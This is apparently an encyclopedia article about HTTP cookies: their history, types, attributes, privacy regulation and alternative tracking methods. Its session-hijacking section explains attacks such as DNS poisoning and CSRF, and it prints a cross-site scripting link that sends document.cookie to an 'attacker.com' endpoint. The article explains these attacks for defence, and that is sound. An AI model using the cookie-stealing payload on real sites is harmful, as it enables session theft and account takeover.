|Security access control methods|
An HTTP cookie (also called web cookie, Internet cookie, browser cookie, or simply cookie) is a small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing. Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items added in the shopping cart in an online store) or to record the user's browsing activity (including clicking particular buttons, logging in, or recording which pages were visited in the past). They can also be used to remember pieces of information that the user previously entered into form fields, such as names, addresses, passwords, and credit-card numbers.
Cookies perform essential functions in the modern web. Perhaps most importantly, authentication cookies are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in with. Without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate themselves by logging in. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is encrypted. Security vulnerabilities may allow a cookie's data to be read by a hacker, used to gain access to user data, or used to gain access (with the user's credentials) to the website to which the cookie belongs (see cross-site scripting and cross-site request forgery for examples).
Tracking cookies, and especially third-party tracking cookies, are commonly used as ways to compile long-term records of individuals' browsing histories — a potential privacy concern that prompted European and U.S. lawmakers to take action in 2011. European law requires that all websites targeting European Union member states gain "informed consent" from users before storing non-essential cookies on their device.
Google Project Zero researcher Jann Horn describes ways cookies can be read by intermediaries, like Wi-Fi hotspot providers. He recommends to use the browser in incognito mode in such circumstances.
Origin of the name
The term "cookie" was coined by web-browser programmer Lou Montulli. It was derived from the term "magic cookie", which is a packet of data a program receives and sends back unchanged, used by Unix programmers.
Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994. At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence. The general public learned about cookies after the Financial Times published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the Internet Engineering Task Force (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.
At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
RFC 2965 added a
Set-Cookie2 header, which informally came to be called "RFC 2965-style cookies" as opposed to the original
Set-Cookie header which was called "Netscape-style cookies".
Set-Cookie2 was seldom used however, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.
This section needs additional citations for verification. (August 2011) (Learn how and when to remove this template message)
A session cookie, also known as an in-memory cookie, transient cookie or non-persistent cookie, exists only in temporary memory while the user navigates the website. Web browsers normally delete session cookies when the user closes the browser. Unlike other cookies, session cookies do not have an expiration date assigned to them, which is how the browser knows to treat them as session cookies.
Instead of expiring when the web browser is closed as session cookies do, a persistent cookie expires at a specific date or after a specific length of time. This means that, for the cookie's entire lifespan (which can be as long or as short as its creators want), its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement).
For this reason, persistent cookies are sometimes referred to as tracking cookies because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. However, they are also used for "legitimate" reasons (such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit).
A secure cookie can only be transmitted over an encrypted connection (i.e. HTTPS). They cannot be transmitted over unencrypted connections (i.e. HTTP). This makes the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is made secure by adding the
Secure flag to the cookie.
HttpOnly flag to the cookie.
In 2016 Google Chrome version 51 introduced a new kind of cookie with attribute
SameSite can have a value of
None. With attribute
SameSite=Strict, the browsers should only send these cookies with requests originated from the same domain/site as the target domain. This would effectively mitigate cross-site request forgery (XSRF) attacks.
SameSite=Lax would not restrict originating site, but enforce target domain to be the same as cookie domain, effectively blocking third-party (cross-site) cookies. Attribute
SameSite=None would allow third-party (cross-site) cookies. The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism" to update RFC6265 (if approved).
Chrome, Firefox, Microsoft Edge all started to support Same-site cookies. The key of rollout is the treatment of existing cookies without SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would keep all website/applications run as before. Google intended to change that default to SameSite=Lax in February 2020, the change would break those applications/websites if they reply on third-party/cross-site cookies, but without SameSite attribute defined. Given the extensive changes for web developers and COVID-19 circumstances, Google temporarily rolled back the SameSite cookie change.
Normally, a cookie's domain attribute will match the domain that is shown in the web browser's address bar. This is called a first-party cookie. A third-party cookie, however, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as banner advertisements. This opens up the potential for tracking the user's browsing history and is often used by advertisers in an effort to serve relevant advertisements to each user.
As an example, suppose a user visits
www.example.org. This website contains an advertisement from
ad.foxytracking.com, which, when downloaded, sets a cookie belonging to the advertisement's domain (
ad.foxytracking.com). Then, the user visits another website,
www.foo.com, which also contains an advertisement from
ad.foxytracking.com and sets a cookie belonging to that domain (
ad.foxytracking.com). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser.
As of 2014[update], some websites were setting cookies readable for over 100 third-party domains. On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.
Most modern web browsers contain privacy settings that can block third-party cookies. Google Chrome introduced new features to block third-party cookies. Henceforth, they are now blocked by default in Incognito mode, while a user can choose to block them in the normal browsing mode too. The update also added an option to block first-party cookie too. 
A supercookie is a cookie with an origin of a top-level domain (such as
.com) or a public suffix (such as
.co.uk). Ordinary cookies, by contrast, have an origin of a specific domain name, such as
Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of
.com, could maliciously affect a request made to
example.com, even if the cookie did not originate from
example.com. This can be used to fake logins or change user information.
The Public Suffix List helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
The term "supercookie" is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such "supercookie" mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and ETag cookies. Due to media attention, Microsoft later disabled this code.
A zombie cookie is a cookie that is automatically recreated after being deleted. This is accomplished by storing the cookie's content in multiple locations, such as Flash Local shared object, HTML5 Web storage, and other client-side and even server-side locations. When the cookie's absence is detected,[clarification needed] the cookie is recreated[clarification needed] using the data stored in these locations.
- Zero or more attributes (name/value pairs). Attributes store information such as the cookie's expiration, domain, and flags (such as
Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth.
Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in.
Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the IP address of the computer requesting the page or the referer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:
- If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the requested page.
- From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.
By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long.
Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The Wall Street Journal found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files. The data can then be collected and sold to bidding corporations.
HttpOnly flag is set, in which case the cookie cannot be modified by scripting languages).
- Can support cookies as large as 4,096 bytes in size.
- Can support at least 50 cookies per domain (i.e. per website).
- Can support at least 3,000 cookies in total.
Cookies are set using the
Set-Cookie HTTP header, sent in an HTTP response from the web server. This header instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header if it does not support cookies or has disabled cookies).
As an example, the browser sends its first request for the homepage of the
GET /index.html HTTP/1.1 Host: www.example.org ...
The server responds with two
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: theme=light Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT ...
The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, "theme", is considered to be a session cookie since it does not have an
Max-Age attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, "sessionToken", is considered to be a persistent cookie since it contains an
Expires attribute, which instructs the browser to delete the cookie at a specific date and time.
Next, the browser sends another request to visit the
spec.html page on the website. This request contains a
Cookie HTTP header, which contains the two cookies that the server instructed the browser to set:
GET /spec.html HTTP/1.1 Host: www.example.org Cookie: theme=light; sessionToken=abc123 …
This way, the server knows that this request is related to the previous one. The server would answer by sending the requested page, possibly including more
Set-Cookie headers in the response in order to add new cookies, modify existing cookies, or delete cookies.
The value of a cookie can be modified by the server by including a
Set-Cookie header in response to a page request. The browser then replaces the old value with the new value.
The value of a cookie may consist of any printable ASCII character (
; and whitespace characters. The name of a cookie excludes the same characters, as well as
=, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.
The term "cookie crumb" is sometimes used to refer to a cookie's name–value pair.
document.cookie is used for this purpose. For example, the instruction
document.cookie = "temperature=20" creates a cookie of name "temperature" and value "20".
In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.
Domain and path
Path attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For obvious security reasons, cookies can only be set on the current resource's top domain and its sub domains, and not for another domain and its sub domains. For example, the website
example.org cannot set a cookie that has a domain of
foo.com because this would allow the
example.org website to control the cookies of
If a cookie's
Path attributes are not specified by the server, they default to the domain and path of the resource that was requested. However, in most browsers there is a difference between a cookie set from
foo.com without a domain, and a cookie set with the
foo.com domain. In the former case, the cookie will only be sent for requests to
foo.com, also known as a host-only cookie. In the latter case, all sub domains are also included (for example,
docs.foo.com). A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always send cookies to sub domains regardless of whether the cookie was set with or without a domain.
Below is an example of some
Set-Cookie HTTP response headers that are sent from a website after a user logged in. The HTTP request was sent to a webpage within the
HTTP/1.0 200 OK Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly …
The first cookie,
LSID, has no
Domain attribute, and has a
Path attribute set to
/accounts. This tells the browser to use the cookie only when requesting pages contained in
docs.foo.com/accounts (the domain is derived from the request domain). The other two cookies,
SSID, would be used when the browser requests any subdomain in
.foo.com on any path (for example
www.foo.com/bar). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.
Expires and Max-Age
Expires attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form
Wdy, DD Mon YYYY HH:MM:SS GMT, or in the form
Wdy, DD Mon YY HH:MM:SS GMT for values of YY where YY is greater than or equal to 0 and less than or equal to 69.
Max-Age attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three
Set-Cookie headers that were received from a website after a user logged in:
HTTP/1.0 200 OK Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
The first cookie,
lu, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie,
made_write_conn, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie,
reg_fb_gate, has its value changed to "deleted", with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the
Set-Cookie field match the values used when the cookie was created.
Secure and HttpOnly
HttpOnly attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled.
Most modern browsers support cookies and allow the user to disable them. The following are common options:
- To enable or disable cookies completely, so that they are always accepted or always blocked.
- To view and selectively delete cookies using a cookie manager.
- To fully wipe all private data, including cookies.
Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. Knowledge of the pages visited by a user allows the advertising company to target advertisements to the user's presumed preferences.
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the National Security Agency (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.
In 2002, the European Union launched the Directive on Privacy and Electronic Communications, a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment. In particular, Article 5 Paragraph 3 mandates that storing data in a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storing operation.
Directive 95/46/EC defines "the data subject's consent" as "any freely given specific and informed indication of his wishes by which the data subject signifies his agreement to personal data relating to him being processed." Consent must involve some form of communication where individuals knowingly indicate their acceptance.
In 2009, the policy was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.
In June 2012, European data protection authorities adopted an opinion which clarifies that some cookie users might be exempt from the requirement to gain consent:
- Some cookies can be exempted from informed consent under certain conditions if they are not used for additional purposes. These cookies include cookies used to keep track of a user's input when filling online forms or as a shopping cart.
- First-party analytics cookies are not likely to create a privacy risk if websites provide clear information about the cookies to users and privacy safeguards.
The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry".
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience. Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.
Cookie theft and session hijacking
This section has multiple issues. Please help improve it or discuss these issues on the talk page. (Learn how and when to remove these template messages)(Learn how and when to remove this template message)
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the
Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an TLS connection.
Publishing false sub-domain: DNS cache poisoning
If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of
f12345.www.example.com that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example,
http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from
f12345.www.example.com is a sub-domain of
www.example.com, victims' browsers would submit all
example.com-related cookies to the attacker's server.
If an attacker is able to accomplish this, it is usually the fault of the Internet Service Providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.
As an example, an attacker may post a message on
www.example.com with the following link:
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the
onclick attribute, thus replacing the string
document.cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the
attacker.com server. If the attacker's malicious posting is on an HTTPS website
https://www.example.com, secure cookies will also be sent to attacker.com in plain text.
It is the responsibility of the website developers to filter out such malicious code.
Cross-site scripting: proxy request
In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on
www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to
www.example.com with the proxy server
attacker.com. Since the request is for
example.com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.
This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.
Cross-site request forgery
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Cookiejacking is a form of hacking wherein an attacker can gain access to session cookies of an Internet Explorer user. Discovered by Rosario Valotta, an Internet security researcher, the exploit allows an attacker to obtain a cookie from any site and thus a username and password by tricking a user into dragging an object across the screen. Although Microsoft deemed the flaw low-risk because of "the level of required user interaction", and the necessity of having a user already logged into the website whose cookie is stolen, Valotta was able to use a social engineering attack to obtain, in three days, the cookies of 80 Facebook users out of his 150 friends.
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.
Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.
Inconsistent state on client and server
Some of the operations that can be done using cookies can also be done using other mechanisms.
JSON Web Tokens
A JSON Web Token (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address.
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.
URL (query string)
A more precise technique is based on embedding information into URLs. The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.
Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page internal to the site the first time, and then visits the same page by coming from an external search engine the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.
Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.
Hidden form fields
Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).
"window.name" DOM property
The downside is that every separate window or tab will initially have an empty
window.name property when opened. Furthermore, the property can be used for tracking visitors across different websites, making it of concern for Internet privacy.
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks. However, if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab.
Identifier for advertisers
Apple uses a tracking technique called "identifier for advertisers" (IDFA). This technique assigns a unique identifier to every user that buys an Apple iOS device (such as an iPhone or iPad). This identifier is then used by Apple's advertising network, iAd, to determine the ads that individuals are viewing and responding to.
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching headers can also enhance the preservation of ETag data.
ETags can be flushed in some browsers by clearing the browser cache.
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
Internet Explorer supports persistent information  in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.
var userId = 3243242;). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible. Assimilation of such information into a single string comprises a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting. Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.
- Dynamic HTML
- Enterprise JavaBeans
- Session (computer science)
- Secure cookie
- HTTP Strict Transport Security § Privacy issues
- Vamosi, Robert (2008-04-14). "Gmail cookie stolen via Google Spreadsheets". News.cnet.com. Archived from the original on 9 December 2013. Retrieved 19 October 2017.
- "What about the "EU Cookie Directive"?". WebCookies.org. 2013. Archived from the original on 11 October 2017. Retrieved 19 October 2017.
- "New net rules set to make cookies crumble". BBC. 2011-03-08. Archived from the original on 2018-08-10. Retrieved 2018-06-21.
- "Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising". Adage.com. 2011-05-06. Archived from the original on 2011-08-24. Retrieved 2011-06-02.
- Want to use my wifi? Archived 2018-01-04 at the Wayback Machine, Jann Horn, accessed 2018-01-05.
- "Where cookie comes from :: DominoPower". dominopower.com. Archived from the original on 19 October 2017. Retrieved 19 October 2017.
- Raymond, Eric (ed.). "magic cookie". The Jargon File (version 4.4.7). Archived from the original on 6 September 2017. Retrieved 8 September 2017.CS1 maint: extra text: authors list (link)
- Schwartz, John (2001-09-04). "Giving Web a Memory Cost Its Users Privacy". The New York Times. Archived from the original on 2011-08-26. Retrieved 2017-02-19.
- Kesan, Jey; and Shah, Rajiv ; Deconstructing Code Archived 2007-02-07 at the Wayback Machine, SSRN.com, chapter II.B (Netscape's cookies), Yale Journal of Law and Technology, 6, 277–389
- Kristol, David; HTTP Cookies: Standards, privacy, and politics, ACM Transactions on Internet Technology, 1(2), 151–198, 2001 doi:10.1145/502152.502153 (an expanded version is freely available at [https://web.archive.org/web/20140716051321/http://arxiv.org/abs/cs.SE/0105018 Archived 2014-07-16 at the Wayback Machine arXiv:cs/0105018v1 [cs.SE]])
- "Press Release: Netscape Communications Offers New Network Navigator Free On The Internet". Archived from the original on 2006-12-07. Retrieved 2010-05-22.
- "Usenet Post by Marc Andreessen: Here it is, world!". 1994-10-13. Archived from the original on 2011-04-27. Retrieved 2010-05-22.
- Hardmeier, Sandi (2005-08-25). "The history of Internet Explorer". Microsoft. Archived from the original on 2005-10-01. Retrieved 2009-01-04.
- Jackson, T (1996-02-12). "This Bug in Your PC is a Smart Cookie". Financial Times.
- "Setting Cookies". staff.washington.edu. June 19, 2009. Archived from the original on March 16, 2017. Retrieved March 15, 2017.
- The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in later versions of the documentation Archived 2017-03-16 at the Wayback Machine further to RFC 2965's deprecation.
- Hodges, Jeff; Corry, Bil (6 March 2011). "'HTTP State Management Mechanism' to Proposed Standard". The Security Practice. Archived from the original on 7 August 2016. Retrieved 17 June 2016.
- "Maintaining session state with cookies". Microsoft Developer Network. Archived from the original on 14 October 2012. Retrieved 22 October 2012.
- "'SameSite' cookie attribute, Chrome Platform tatus". Chromestatus.com. Archived from the original on 2016-05-09. Retrieved 2016-04-23.
- Goodwin, M.; West. "Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00". tools.ietf.org. Archived from the original on 2016-08-16. Retrieved 2016-07-28.
- "Third party domains". WebCookies.org. Archived from the original on 2014-12-09. Retrieved 2014-12-07.
- "Number of cookies". WebCookies.org. Archived from the original on 2014-12-09. Retrieved 2014-12-07.
- Protalinski, Emil (19 May 2020). "Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito". VentureBeat. VentureBeat. Retrieved 25 June 2020.
- "Learn more about the Public Suffix List". Publicsuffix.org. Archived from the original on 14 May 2016. Retrieved 28 July 2016.
- Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising". The Center for Internet and Society. Archived from the original on 26 September 2011. Retrieved 28 September 2011.
- Vijayan, Jaikumar. "Microsoft disables 'supercookies' used on MSN.com visitors". Archived from the original on 27 November 2014. Retrieved 23 November 2014.
- Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology". Proquest. Online Information Review. ProQuest 194487945. Missing or empty
- Jim Manico quoting Daniel Stenberg, Real world cookie length limits Archived 2013-07-02 at the Wayback Machine
- Rainie, Lee (2012). Networked: The New Social Operating System. p. 237
- IETF HTTP State Management Mechanism, Apr, 2011 Obsoletes RFC 2965
- "Persistent client state HTTP cookies: Preliminary specification". Netscape. c. 1999. Archived from the original on 2007-08-05.
- "Cookie Property". MSDN. Microsoft. Archived from the original on 2008-04-05. Retrieved 2009-01-04.
- Shannon, Ross (2007-02-26). "Cookies, Set and retrieve information about your readers". HTMLSource. Archived from the original on 2011-08-26. Retrieved 2009-01-04.
- "HTTP State Management Mechanism, The Path Attribute". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- "RFC 6265, HTTP State Management Mechanism, Domain matching". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- "RFC 6265, HTTP State Management Mechanism, The Domain Attribute". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- "Internet Explorer Cookie Internals (FAQ)". 21 November 2018.
- "RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax". IETF. March 2014. Archived from the original on 2014-03-13. Retrieved 2014-03-04.
- "RFC 6265, HTTP State Management Mechanism". ietf.org. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- "Cookies specification compatibility in modern browsers". inikulin.github.io. 2016. Archived from the original on 2016-10-02. Retrieved 2016-09-30.
- Coles, Peter. "HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles". Mrcoles.com. Archived from the original on 29 July 2016. Retrieved 28 July 2016.
- "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Archived (PDF) from the original on June 25, 2008. Retrieved May 11, 2008. Cite journal requires
